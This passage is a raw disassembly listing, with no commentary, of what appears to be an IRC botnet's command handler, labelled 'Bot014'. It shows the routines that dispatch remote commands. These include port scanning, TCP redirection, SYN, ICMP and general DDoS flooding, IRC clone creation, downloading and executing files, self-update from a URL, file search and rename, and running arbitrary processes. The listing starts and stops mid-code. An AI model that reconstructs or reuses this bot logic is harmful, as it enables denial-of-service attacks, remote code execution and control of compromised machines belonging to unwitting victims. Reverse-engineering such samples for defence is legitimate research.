jz loc_40B17D push 3 mov edi, eax mov esi, offset aDl ; "dl" pop ecx xor edx, edx repe cmpsb jz loc_40B17D push 9 mov edi, eax mov esi, offset aRedirect ; "redirect" pop ecx xor edx, edx repe cmpsb jz loc_40B080 push 3 mov edi, eax mov esi, offset aRd ; "rd" pop ecx xor edx, edx repe cmpsb jz loc_40B080 push 5 mov edi, eax mov esi, offset aScan ; "scan" pop ecx xor edx, edx repe cmpsb jz loc_40AF8A push 3 mov edi, eax mov esi, offset aSc ; "sc" pop ecx xor edx, edx repe cmpsb jz loc_40AF8A push 0Ah mov edi, eax mov esi, offset aC_privmsg ; "c_privmsg" pop ecx xor edx, edx repe cmpsb jz loc_40AE94 push 5 mov edi, eax mov esi, offset aC_pm ; "c_pm" pop ecx xor edx, edx repe cmpsb jz loc_40AE94 push 9 mov edi, eax mov esi, offset aC_action ; "c_action" pop ecx xor edx, edx repe cmpsb jz short loc_40AD60 push 4 mov edi, eax mov esi, offset dword_426F78 pop ecx xor edx, edx repe cmpsb jnz loc_409E4B loc_40AD60: ; CODE XREF: sub_4089DC+236Ej push [ebp+var_8] call sub_4147A2 imul eax, 234h cmp byte_4366B8[eax], 0 pop ecx jz loc_40E4AE mov edi, [ebp+var_14] test edi, edi jz loc_40E4AE mov eax, [ebp+var_18] lea edx, [eax+1] loc_40AD8D: ; CODE XREF: sub_4089DC+23B6j mov cl, [eax] inc eax test cl, cl jnz short loc_40AD8D sub eax, edx mov ebx, eax mov eax, [ebp+var_8] lea ecx, [eax+1] loc_40AD9E: ; CODE XREF: sub_4089DC+23C7j mov dl, [eax] inc eax test dl, dl jnz short loc_40AD9E sub eax, ecx mov ecx, eax mov eax, [ebp+var_10] lea esi, [eax+1] loc_40ADAF: ; CODE XREF: sub_4089DC+23D8j mov dl, [eax] inc eax test dl, dl jnz short loc_40ADAF push [ebp+arg_0] sub eax, esi add eax, ecx add eax, ebx lea eax, [eax+edi+2] push eax call sub_414EE0 mov esi, eax push esi lea eax, [ebp+var_2F0] push offset dword_426F6C push eax call sub_414415 add esp, 14h test esi, esi jz loc_40E4AE mov edi, [ebp+var_8] push edi call sub_4147A2 test eax, eax pop ecx jle loc_40E4AE push edi call sub_4147A2 cmp eax, 1F4h pop ecx jge loc_40E4AE xor ebx, ebx push ebx push ebx lea eax, [ebp+var_2F0] push eax push [ebp+var_10] push edi call sub_4147A2 imul eax, 234h pop ecx push dword_4366AC[eax] call sub_4056BF push edi call sub_4147A2 imul eax, 234h add esp, 18h cmp byte ptr dword_4364A0[eax], 73h jnz loc_40E4AE push esi push edi call sub_4147A2 imul eax, 234h pop ecx add eax, offset byte_4366B8 push eax push [ebp+var_10] push offset aSSS_2 ; "[%s] * %s %s" loc_40AE6A: ; CODE XREF: sub_4089DC+25A9j lea eax, [ebp+var_2F0] push eax call sub_414415 push ebx push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF jmp loc_40D106 ; --------------------------------------------------------------------------- loc_40AE94: ; CODE XREF: sub_4089DC+2346j ; sub_4089DC+235Aj push [ebp+var_8] call sub_4147A2 imul eax, 234h cmp byte_4366B8[eax], 0 pop ecx jz loc_40E4AE mov edi, [ebp+var_14] test edi, edi jz loc_40E4AE mov eax, [ebp+var_18] lea edx, [eax+1] loc_40AEC1: ; CODE XREF: sub_4089DC+24EAj mov cl, [eax] inc eax test cl, cl jnz short loc_40AEC1 sub eax, edx mov ebx, eax mov eax, [ebp+var_8] lea ecx, [eax+1] loc_40AED2: ; CODE XREF: sub_4089DC+24FBj mov dl, [eax] inc eax test dl, dl jnz short loc_40AED2 sub eax, ecx mov ecx, eax mov eax, [ebp+var_10] lea esi, [eax+1] loc_40AEE3: ; CODE XREF: sub_4089DC+250Cj mov dl, [eax] inc eax test dl, dl jnz short loc_40AEE3 push [ebp+arg_0] sub eax, esi add eax, ecx add eax, ebx lea eax, [eax+edi+2] push eax call sub_414EE0 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40E4AE mov edi, [ebp+var_8] push edi call sub_4147A2 test eax, eax pop ecx jle loc_40E4AE push edi call sub_4147A2 cmp eax, 1F4h pop ecx jge loc_40E4AE xor ebx, ebx push ebx push ebx push esi push [ebp+var_10] push edi call sub_4147A2 imul eax, 234h pop ecx push dword_4366AC[eax] call sub_4056BF push edi call sub_4147A2 imul eax, 234h add esp, 18h cmp byte ptr dword_4364A0[eax], 73h jnz loc_40E4AE push esi push edi call sub_4147A2 imul eax, 234h pop ecx add eax, offset byte_4366B8 push eax push [ebp+var_10] push offset aSSS_1 ; "[%s] <%s> %s" jmp loc_40AE6A ; --------------------------------------------------------------------------- loc_40AF8A: ; CODE XREF: sub_4089DC+231Ej ; sub_4089DC+2332j push [ebp+var_8] call dword_43587C ; inet_addr push [ebp+var_10] mov [ebp+var_308], eax call sub_4147A2 push [ebp+arg_0] mov [ebp+var_314], eax call sub_4147A2 mov edi, [ebp+arg_4] push 7Fh push [ebp+var_A0] mov [ebp+var_310], eax lea eax, [ebp+var_394] push eax mov [ebp+var_398], edi call sub_4144A0 mov eax, [ebp+var_C] mov ebx, [ebp+var_4] add esp, 14h push [ebp+var_310] mov [ebp+var_300], ebx push [ebp+var_314] mov [ebp+var_2FC], eax push [ebp+var_308] call dword_435888 ; inet_ntoa push eax lea eax, [ebp+var_2F0] push offset aScanPortScanSt ; "[SCAN]: Port scan started: %s:%d with d"... push eax call sub_414415 xor esi, esi push esi lea eax, [ebp+var_2F0] push 9 push eax call sub_41229A add esp, 20h mov [ebp+var_30C], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_398] push eax push offset sub_40FDCB push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_30C] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40B073 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"... jmp loc_40B4F0 ; --------------------------------------------------------------------------- loc_40B06B: ; CODE XREF: sub_4089DC+269Dj push 32h call ds:dword_420000 ; Sleep loc_40B073: ; CODE XREF: sub_4089DC+267Cj cmp [ebp+var_2F8], esi jz short loc_40B06B jmp loc_40B4FF ; --------------------------------------------------------------------------- loc_40B080: ; CODE XREF: sub_4089DC+22F6j ; sub_4089DC+230Aj push [ebp+var_8] call sub_4147A2 push 7Fh push [ebp+var_10] mov [ebp+var_F0C], eax lea eax, [ebp+var_1010] push eax call sub_4144A0 push [ebp+arg_0] call sub_4147A2 push [ebp+var_A0] mov esi, [ebp+arg_4] mov [ebp+var_F10], eax lea eax, [ebp+var_F90] push 80h push eax mov [ebp+var_1018], esi call sub_41466D mov eax, [ebp+var_C] mov ebx, [ebp+var_4] add esp, 20h push [ebp+var_F10] mov [ebp+var_EFC], eax lea eax, [ebp+var_1010] push eax push [ebp+var_F0C] mov [ebp+var_F00], ebx push esi call sub_407D15 pop ecx push eax lea eax, [ebp+var_2F0] push offset aRedirectTcpRed ; "[REDIRECT]: TCP redirect created from: "... push eax call sub_414415 xor edi, edi push edi lea eax, [ebp+var_2F0] push 11h push eax call sub_41229A add esp, 24h mov [ebp+var_F08], eax lea eax, [ebp+var_1C] push eax push edi lea eax, [ebp+var_1018] push eax push offset sub_40EE88 push edi push edi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_F08] imul ecx, 234h cmp eax, edi mov dword_4366B4[ecx], eax jnz short loc_40B170 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aRedirectFailed ; "[REDIRECT]: Failed to start redirection"... jmp loc_40B2E0 ; --------------------------------------------------------------------------- loc_40B168: ; CODE XREF: sub_4089DC+279Aj push 32h call ds:dword_420000 ; Sleep loc_40B170: ; CODE XREF: sub_4089DC+2779j cmp [ebp+var_EF8], edi jz short loc_40B168 jmp loc_40B2EF ; --------------------------------------------------------------------------- loc_40B17D: ; CODE XREF: sub_4089DC+22CEj ; sub_4089DC+22E2j mov esi, 0FFh push esi push [ebp+var_8] lea eax, [ebp+var_C84] push eax call sub_4144A0 push [ebp+arg_0] xor edi, edi mov [ebp+var_980], edi call sub_4147A2 mov [ebp+var_97C], eax mov eax, [ebp+ebx+var_98] add esp, 10h cmp eax, edi jz short loc_40B1CA push 10h push edi push eax call sub_415239 add esp, 0Ch mov [ebp+var_974], eax jmp short loc_40B1D0 ; --------------------------------------------------------------------------- loc_40B1CA: ; CODE XREF: sub_4089DC+27D8j mov [ebp+var_974], edi loc_40B1D0: ; CODE XREF: sub_4089DC+27ECj mov ebx, [ebp+ebx+var_94] cmp ebx, edi jz short loc_40B1EA push ebx call sub_4147A2 pop ecx mov [ebp+var_978], eax jmp short loc_40B1F0 ; --------------------------------------------------------------------------- loc_40B1EA: ; CODE XREF: sub_4089DC+27FDj mov [ebp+var_978], edi loc_40B1F0: ; CODE XREF: sub_4089DC+280Cj push 3Fh push [ebp+var_10] call sub_4158C0 mov ebx, eax cmp ebx, edi pop ecx pop ecx jz short loc_40B22A and byte ptr [ebx], 0 inc ebx loc_40B206: ; CODE XREF: sub_4089DC+283Bj push 26h push ebx call sub_4158C0 cmp eax, edi pop ecx pop ecx jz short loc_40B219 mov byte ptr [eax], 20h jmp short loc_40B206 ; --------------------------------------------------------------------------- loc_40B219: ; CODE XREF: sub_4089DC+2836j push esi lea eax, [ebp+var_A84] push ebx push eax call sub_4144A0 add esp, 0Ch loc_40B22A: ; CODE XREF: sub_4089DC+2824j push esi push [ebp+var_10] lea eax, [ebp+var_B84] push eax call sub_4144A0 movzx eax, [ebp+var_457] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_A0] mov [ebp+var_970], eax lea eax, [ebp+var_D04] push eax mov [ebp+var_D08], esi call sub_4144A0 push [ebp+var_10] mov eax, [ebp+var_C] push [ebp+var_8] mov ebx, [ebp+var_4] mov [ebp+var_96C], eax lea eax, [ebp+var_2F0] push offset aDownloadDown_1 ; "[DOWNLOAD]: Downloading URL: %s to: %s."... push eax mov [ebp+var_968], ebx call sub_414415 push esi lea eax, [ebp+var_2F0] push 16h push eax call sub_41229A add esp, 34h mov [ebp+var_984], eax lea eax, [ebp+var_1C] push eax push edi lea eax, [ebp+var_D08] push eax push offset sub_4025CE push edi push edi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_984] imul ecx, 234h cmp eax, edi mov dword_4366B4[ecx], eax jnz short loc_40B315 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aDownloadFailed ; "[DOWNLOAD]: Failed to start transfer th"... loc_40B2E0: ; CODE XREF: sub_4089DC+2787j ; sub_4089DC+440Aj ... lea eax, [ebp+var_2F0] push eax call sub_414415 add esp, 0Ch loc_40B2EF: ; CODE XREF: sub_4089DC+279Cj ; sub_4089DC+2941j ... cmp [ebp+var_C], edi jnz loc_40D9C2 push edi push ebx lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push esi jmp loc_40D9BA ; --------------------------------------------------------------------------- loc_40B30D: ; CODE XREF: sub_4089DC+293Fj push 32h call ds:dword_420000 ; Sleep loc_40B315: ; CODE XREF: sub_4089DC+28F6j cmp [ebp+var_964], edi jz short loc_40B30D jmp short loc_40B2EF ; --------------------------------------------------------------------------- loc_40B31F: ; CODE XREF: sub_4089DC+22A6j ; sub_4089DC+22BAj push 7Fh pop esi push esi push [ebp+var_8] lea eax, [ebp+var_18D4] push eax call sub_4144A0 push esi push [ebp+var_10] lea eax, [ebp+var_1854] push eax call sub_4144A0 push esi push [ebp+arg_0] lea eax, [ebp+var_17D4] push eax call sub_4144A0 push esi push [ebp+var_A0] lea eax, [ebp+var_1754] push eax call sub_4144A0 push [ebp+arg_0] mov eax, [ebp+var_C] push [ebp+var_10] mov ebx, [ebp+var_4] push [ebp+var_8] mov edi, [ebp+arg_4] mov [ebp+var_16CC], eax lea eax, [ebp+var_2F0] push offset aSynFloodingSSF ; "[SYN]: Flooding: (%s:%s) for %s seconds"... push eax mov [ebp+var_16D0], ebx mov [ebp+var_18D8], edi call sub_414415 add esp, 44h xor esi, esi push esi lea eax, [ebp+var_2F0] push 0Ch push eax call sub_41229A add esp, 0Ch mov [ebp+var_16D4], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_18D8] push eax push offset sub_4114B6 push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_16D4] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40B3FF call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aSynFailedToSta ; "[SYN]: Failed to start flood thread, er"... jmp loc_40B4F0 ; --------------------------------------------------------------------------- loc_40B3F7: ; CODE XREF: sub_4089DC+2A29j push 32h call ds:dword_420000 ; Sleep loc_40B3FF: ; CODE XREF: sub_4089DC+2A08j cmp [ebp+var_16C8], esi jz short loc_40B3F7 jmp loc_40B4FF ; --------------------------------------------------------------------------- loc_40B40C: ; CODE XREF: sub_4089DC+226Aj ; sub_4089DC+227Ej ... push 7Fh pop esi push esi push [ebp+var_8] lea eax, [ebp+var_1B64] push eax call sub_4144A0 push esi push [ebp+var_10] lea eax, [ebp+var_1AE4] push eax call sub_4144A0 push esi push [ebp+arg_0] lea eax, [ebp+var_1A64] push eax call sub_4144A0 push esi push [ebp+var_A0] lea eax, [ebp+var_19E4] push eax call sub_4144A0 push 20h push [ebp+var_18] lea eax, [ebp+var_1964] push eax call sub_4144A0 push [ebp+arg_0] mov eax, [ebp+var_C] push [ebp+var_10] mov ebx, [ebp+var_4] push [ebp+var_8] mov edi, [ebp+arg_4] mov [ebp+var_18E0], eax lea eax, [ebp+var_2F0] push offset aDdosFloodingSS ; "[DDoS]: Flooding: (%s:%s) for %s second"... push eax mov [ebp+var_18E4], ebx mov [ebp+var_1B6C], edi call sub_414415 add esp, 50h xor esi, esi push esi lea eax, [ebp+var_2F0] push 0Bh push eax call sub_41229A add esp, 0Ch mov [ebp+var_1B68], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_1B6C] push eax push offset sub_402500 push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_1B68] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40B525 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aDdosFailedToSt ; "[DDoS]: Failed to start flood thread, e"... loc_40B4F0: ; CODE XREF: sub_4089DC+268Aj ; sub_4089DC+2A16j lea eax, [ebp+var_2F0] push eax call sub_414415 add esp, 0Ch loc_40B4FF: ; CODE XREF: sub_4089DC+269Fj ; sub_4089DC+2A2Bj ... cmp [ebp+var_C], esi jnz loc_40D9C2 push esi push ebx lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push edi jmp loc_40D9BA ; --------------------------------------------------------------------------- loc_40B51D: ; CODE XREF: sub_4089DC+2B4Fj push 32h call ds:dword_420000 ; Sleep loc_40B525: ; CODE XREF: sub_4089DC+2B06j cmp [ebp+var_18DC], esi jz short loc_40B51D jmp short loc_40B4FF ; --------------------------------------------------------------------------- loc_40B52F: ; CODE XREF: sub_4089DC+2242j ; sub_4089DC+2256j push 7Fh push [ebp+var_8] lea eax, [ebp+var_15BC] push eax call sub_4144A0 push [ebp+var_10] call sub_4147A2 push 3Fh push [ebp+arg_0] mov [ebp+var_146C], eax lea eax, [ebp+var_153C] push eax call sub_4144A0 mov ebx, [ebp+ebx+var_98] xor esi, esi add esp, 1Ch cmp ebx, esi jz short loc_40B581 push 3Fh lea eax, [ebp+var_14FC] push ebx push eax call sub_4144A0 add esp, 0Ch loc_40B581: ; CODE XREF: sub_4089DC+2B91j lea eax, [ebp+var_153C] push eax push [ebp+var_146C] lea eax, [ebp+var_15BC] push eax lea eax, [ebp+var_2F0] push offset aClonesCreatedO ; "[CLONES]: Created on %s:%d, in channel "... push eax mov [ebp+var_1468], 1 call sub_414415 push esi lea eax, [ebp+var_2F0] push 18h push eax call sub_41229A add esp, 20h mov [ebp+var_1464], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_15C0] push eax push offset sub_40887D push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_1464] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40B610 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aClonesFailedTo ; "[CLONES]: Failed to start clone thread,"... jmp loc_40C3BF ; --------------------------------------------------------------------------- loc_40B608: ; CODE XREF: sub_4089DC+2C3Aj push 32h call ds:dword_420000 ; Sleep loc_40B610: ; CODE XREF: sub_4089DC+2C19j cmp [ebp+var_1460], esi jz short loc_40B608 jmp loc_40C3CE ; --------------------------------------------------------------------------- loc_40B61D: ; CODE XREF: sub_4089DC+2208j ; sub_4089DC+221Cj push [ebp+var_10] call sub_4147A2 mov ebx, [ebp+arg_4] xor edi, edi cmp eax, edi pop ecx mov [ebp+var_D24], eax jle loc_40B71C push [ebp+var_8] mov esi, 80h lea eax, [ebp+var_EAC] push esi push eax call sub_41466D push [ebp+var_A0] xor eax, eax cmp [ebp+var_44A], al push esi setnz al mov [ebp+var_EB0], ebx mov [ebp+var_D20], eax lea eax, [ebp+var_DAC] push eax call sub_41466D push [ebp+var_10] mov eax, [ebp+var_4] push [ebp+var_8] mov [ebp+var_D1C], eax mov eax, [ebp+var_C] push offset aIcmpFloodingSF ; "[ICMP]: Flooding: (%s) for %s seconds." mov [ebp+var_D18], eax lea eax, [ebp+var_2F0] push 200h push eax call sub_41466D push edi lea eax, [ebp+var_2F0] push 0Eh push eax call sub_41229A add esp, 38h mov [ebp+var_D2C], eax lea eax, [ebp+var_1C] push eax push edi lea eax, [ebp+var_EB0] push eax push offset sub_40532B push edi push edi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_D2C] imul ecx, 234h cmp eax, edi mov dword_4366B4[ecx], eax jnz short loc_40B712 call ds:dword_420008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2F0] push offset aIcmpFailedToSt ; "[ICMP]: Failed to start flood thread, e"... push eax call sub_414415 add esp, 0Ch jmp short loc_40B72F ; --------------------------------------------------------------------------- loc_40B70A: ; CODE XREF: sub_4089DC+2D3Cj push 32h call ds:dword_420000 ; Sleep loc_40B712: ; CODE XREF: sub_4089DC+2D0Fj cmp [ebp+var_D14], edi jz short loc_40B70A jmp short loc_40B72F ; --------------------------------------------------------------------------- loc_40B71C: ; CODE XREF: sub_4089DC+2C57j lea eax, [ebp+var_2F0] push offset aIcmpInvalidFlo ; "[ICMP]: Invalid flood time must be grea"... push eax call sub_414415 pop ecx pop ecx loc_40B72F: ; CODE XREF: sub_4089DC+2D2Cj ; sub_4089DC+2D3Ej cmp [ebp+var_C], edi jnz loc_40D9C2 push edi push [ebp+var_4] loc_40B73C: ; CODE XREF: sub_4089DC+5636j lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push ebx jmp loc_40D9BA ; --------------------------------------------------------------------------- loc_40B74F: ; CODE XREF: sub_4089DC+21E0j ; sub_4089DC+21F4j push [ebp+var_10] push [ebp+var_8] call ds:dword_4200F4 ; MoveFileA test eax, eax jz short loc_40B783 push [ebp+var_10] lea eax, [ebp+var_2F0] push [ebp+var_8] push offset aFileRenameSToS ; "[FILE]: Rename: '%s' to: '%s'." push 200h push eax call sub_41466D add esp, 14h jmp loc_40D99F ; --------------------------------------------------------------------------- loc_40B783: ; CODE XREF: sub_4089DC+2D81j push offset aFile ; "[FILE]:" call sub_4067EA push eax lea eax, [ebp+var_2F0] push 200h push eax call sub_41466D add esp, 10h jmp loc_40D99F ; --------------------------------------------------------------------------- loc_40B7A7: ; CODE XREF: sub_4089DC+21B8j ; sub_4089DC+21CCj push [ebp+var_8] lea eax, [ebp+var_13D0] push 104h push eax call sub_41466D xor esi, esi add esp, 0Ch cmp [ebp+var_14], esi jz short loc_40B7E5 push [ebp+var_10] push [ebp+var_14] call sub_414EE0 cmp eax, esi pop ecx pop ecx jz short loc_40B7E5 push eax lea eax, [ebp+var_12CC] push eax call sub_414415 pop ecx pop ecx loc_40B7E5: ; CODE XREF: sub_4089DC+2DE7j ; sub_4089DC+2DF8j push [ebp+var_A0] lea eax, [ebp+var_1450] push 80h push eax call sub_41466D mov eax, [ebp+arg_4] mov [ebp+var_1454], eax mov eax, [ebp+var_4] mov [ebp+var_11C4], eax mov eax, [ebp+var_C] mov [ebp+var_11C0], eax lea eax, [ebp+var_12CC] push eax lea eax, [ebp+var_13D0] push eax push offset aFindfileSear_0 ; "[FINDFILE]: Searching for file: %s in: "... lea eax, [ebp+var_2F0] push 200h push eax call sub_41466D push esi lea eax, [ebp+var_2F0] push 1Ch push eax call sub_41229A add esp, 2Ch mov [ebp+var_11C8], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_1454] push eax push offset sub_40308F push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_11C8] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40B8AA call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aFindfileFailed ; "[FINDFILE]: Failed to start search thre"... loc_40B88E: ; CODE XREF: sub_4089DC+4135j ; sub_4089DC+4EC8j lea eax, [ebp+var_2F0] push eax call sub_414415 add esp, 0Ch jmp loc_40D9C2 ; --------------------------------------------------------------------------- loc_40B8A2: ; CODE XREF: sub_4089DC+2ED4j push 32h call ds:dword_420000 ; Sleep loc_40B8AA: ; CODE XREF: sub_4089DC+2EA4j cmp [ebp+var_11BC], esi jz short loc_40B8A2 jmp loc_40D9C2 ; --------------------------------------------------------------------------- loc_40B8B7: ; CODE XREF: sub_4089DC+2190j ; sub_4089DC+21A4j push 11h pop ecx push [ebp+var_8] xor eax, eax xor ebx, ebx lea edi, [ebp+var_400] rep stosd inc ebx xor esi, esi mov [ebp+var_400], 44h mov [ebp+var_3D4], ebx mov word ptr [ebp+var_3D0], si call sub_4147A2 cmp eax, ebx pop ecx jnz short loc_40B8F6 mov word ptr [ebp+var_3D0], 5 loc_40B8F6: ; CODE XREF: sub_4089DC+2F0Fj cmp [ebp+var_14], esi jz loc_40C3CE push [ebp+var_10] push [ebp+var_14] call sub_414EE0 mov edi, eax cmp edi, esi pop ecx pop ecx jz loc_40C3CE lea eax, [ebp+var_7C0] push eax lea eax, [ebp+var_400] push eax push esi push esi push 30h push ebx push esi push esi push edi push esi call ds:dword_420038 ; CreateProcessA test eax, eax lea eax, [ebp+var_2F0] jnz short loc_40B94F push offset aExecCouldnTExe ; "[EXEC]: Couldn't execute file." push eax call sub_414415 pop ecx pop ecx jmp loc_40C3CE ; --------------------------------------------------------------------------- loc_40B94F: ; CODE XREF: sub_4089DC+2F5Fj push edi push offset aExecCommandsS ; "[EXEC]: Commands: %s" jmp loc_40C3C5 ; --------------------------------------------------------------------------- loc_40B95A: ; CODE XREF: sub_4089DC+2168j ; sub_4089DC+217Cj mov edi, [ebp+var_10] mov esi, offset aBot014 ; "Bot014" loc_40B962: ; CODE XREF: sub_4089DC+2FA2j mov cl, [esi] mov al, cl cmp cl, [edi] jnz short loc_40B984 test al, al jz short loc_40B980 mov cl, [esi+1] mov al, cl cmp cl, [edi+1] jnz short loc_40B984 inc esi inc esi inc edi inc edi test al, al jnz short loc_40B962 loc_40B980: ; CODE XREF: sub_4089DC+2F90j xor eax, eax jmp short loc_40B989 ; --------------------------------------------------------------------------- loc_40B984: ; CODE XREF: sub_4089DC+2F8Cj ; sub_4089DC+2F9Aj sbb eax, eax sbb eax, 0FFFFFFFFh loc_40B989: ; CODE XREF: sub_4089DC+2FA6j test eax, eax mov edi, [ebp+arg_4] jz loc_40BAFC lea eax, [ebp+var_8D0] push eax push 104h call ds:dword_4200D0 ; GetTempPathA push 0FFh push [ebp+var_8] lea eax, [ebp+var_C84] push eax call sub_4144A0 lea eax, [ebp+var_7CC] push eax call sub_40F9BF push eax lea eax, [ebp+var_8D0] push eax lea eax, [ebp+var_B84] push offset aSS_exe ; "%s%s.exe" push eax call sub_414415 mov eax, [ebp+ebx+var_9C] xor esi, esi add esp, 20h cmp eax, esi mov [ebp+var_980], 1 mov [ebp+var_97C], esi jz short loc_40BA13 push 10h push esi push eax call sub_415239 add esp, 0Ch mov [ebp+var_974], eax jmp short loc_40BA19 ; --------------------------------------------------------------------------- loc_40BA13: ; CODE XREF: sub_4089DC+3021j mov [ebp+var_974], esi loc_40BA19: ; CODE XREF: sub_4089DC+3035j mov ebx, [ebp+ebx+var_98] cmp ebx, esi jz short loc_40BA33 push ebx call sub_4147A2 pop ecx mov [ebp+var_978], eax jmp short loc_40BA39 ; --------------------------------------------------------------------------- loc_40BA33: ; CODE XREF: sub_4089DC+3046j mov [ebp+var_978], esi loc_40BA39: ; CODE XREF: sub_4089DC+3055j movzx eax, [ebp+var_457] push 7Fh push [ebp+var_A0] mov [ebp+var_970], eax lea eax, [ebp+var_D04] push eax mov [ebp+var_D08], edi call sub_4144A0 mov eax, [ebp+var_4] push [ebp+var_8] mov [ebp+var_968], eax mov eax, [ebp+var_C] mov [ebp+var_96C], eax lea eax, [ebp+var_2F0] push offset aUpdateDownload ; "[UPDATE]: Downloading update from: %s." push eax call sub_414415 push edi lea eax, [ebp+var_2F0] push 17h push eax call sub_41229A add esp, 24h mov [ebp+var_984], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_D08] push eax push offset sub_4025CE push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_984] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40BAF2 call ds:dword_420008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2F0] push offset aUpdateFailedTo ; "[UPDATE]: Failed to start download thre"... push eax call sub_414415 add esp, 0Ch jmp short loc_40BAFE ; --------------------------------------------------------------------------- loc_40BAEA: ; CODE XREF: sub_4089DC+311Cj push 32h call ds:dword_420000 ; Sleep loc_40BAF2: ; CODE XREF: sub_4089DC+30EFj cmp [ebp+var_964], esi jz short loc_40BAEA jmp short loc_40BAFE ; --------------------------------------------------------------------------- loc_40BAFC: ; CODE XREF: sub_4089DC+2FB2j xor esi, esi loc_40BAFE: ; CODE XREF: sub_4089DC+310Cj ; sub_4089DC+311Ej cmp [ebp+var_C], esi jnz loc_40A0E4 push esi push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push edi jmp loc_40A0DC ; --------------------------------------------------------------------------- loc_40BB1E: ; CODE XREF: sub_4089DC+2140j ; sub_4089DC+2154j mov edi, [ebp+var_A4] push 4 mov esi, offset dword_427938 pop ecx xor eax, eax repe cmpsb jz loc_408C5A cmp [ebp+var_14], eax jz loc_408C5A push [ebp+var_10] push [ebp+var_14] call sub_414EE0 push eax push [ebp+var_A0] lea eax, [ebp+var_2F0] push [ebp+var_A4] push [ebp+var_A8] push offset aSSSS ; "%s %s %s :%s" push eax call sub_414415 push 1FFh lea eax, [ebp+var_2F0] push eax push [ebp+arg_0] call sub_4144A0 push [ebp+var_8] call sub_4147A2 add esp, 30h test eax, eax jle short loc_40BBA7 push [ebp+var_8] call sub_4147A2 imul eax, 3E8h pop ecx push eax call ds:dword_420000 ; Sleep loc_40BBA7: ; CODE XREF: sub_4089DC+31B3j push offset aMainDelay_ ; "[MAIN]: Delay." call sub_401EFF mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_408C5D ; --------------------------------------------------------------------------- loc_40BBBB: ; CODE XREF: sub_4089DC+2118j ; sub_4089DC+212Cj mov edi, [ebp+var_A4] push 4 mov esi, offset dword_427938 pop ecx xor eax, eax repe cmpsb jz loc_408C5A cmp [ebp+var_14], eax jz loc_40E4AE mov esi, [ebp+var_10] push esi push [ebp+var_14] call sub_414EE0 pop ecx pop ecx mov ebx, eax push 7 inc esi pop ecx xor eax, eax mov edi, offset aRepeat ; "repeat" repe cmpsb lea eax, [ebp+var_2F0] push ebx jz short loc_40BC75 push [ebp+var_A0] push [ebp+var_A4] push [ebp+var_A8] push offset aSSSS ; "%s %s %s :%s" push eax call sub_414415 push 1FFh lea eax, [ebp+var_2F0] push eax push [ebp+arg_0] call sub_4144A0 push ebx lea eax, [ebp+var_2F0] push offset aMainRepeatS ; "[MAIN]: Repeat: %s" push eax call sub_414415 lea eax, [ebp+var_2F0] push eax call sub_401EFF push [ebp+var_8] call sub_4147A2 add esp, 38h test eax, eax jle loc_40E4AE push [ebp+var_8] call sub_4147A2 add eax, [ebp+arg_24] pop ecx jmp loc_408C5D ; --------------------------------------------------------------------------- loc_40BC75: ; CODE XREF: sub_4089DC+3224j push offset aMainRepeatNotA ; "[MAIN]: Repeat not allowed in command l"... jmp loc_40C1DF ; --------------------------------------------------------------------------- loc_40BC7F: ; CODE XREF: sub_4089DC+20F0j ; sub_4089DC+2104j push [ebp+var_10] lea eax, [ebp+var_2F0] push offset aPartS_0 ; "PART %s" push eax call sub_414415 push [ebp+var_8] call sub_4147A2 add esp, 10h loc_40BC9E: ; CODE XREF: sub_4089DC+332Fj test eax, eax jle loc_40E4AE push [ebp+var_8] call sub_4147A2 cmp eax, 1F4h pop ecx jge loc_40E4AE loc_40BCBA: ; CODE XREF: sub_4089DC+3B68j lea eax, [ebp+var_2F0] push eax push offset aS_5 ; "%s\r\n" push [ebp+var_8] call sub_4147A2 imul eax, 234h pop ecx push dword_4366AC[eax] call sub_405674 jmp loc_40D64E ; --------------------------------------------------------------------------- loc_40BCE5: ; CODE XREF: sub_4089DC+20C8j ; sub_4089DC+20DCj push [ebp+ebx+var_9C] lea eax, [ebp+var_2F0] push [ebp+var_10] push offset aJoinSS ; "JOIN %s %s" push eax call sub_414415 push [ebp+var_8] call sub_4147A2 add esp, 14h jmp short loc_40BC9E ; --------------------------------------------------------------------------- loc_40BD0D: ; CODE XREF: 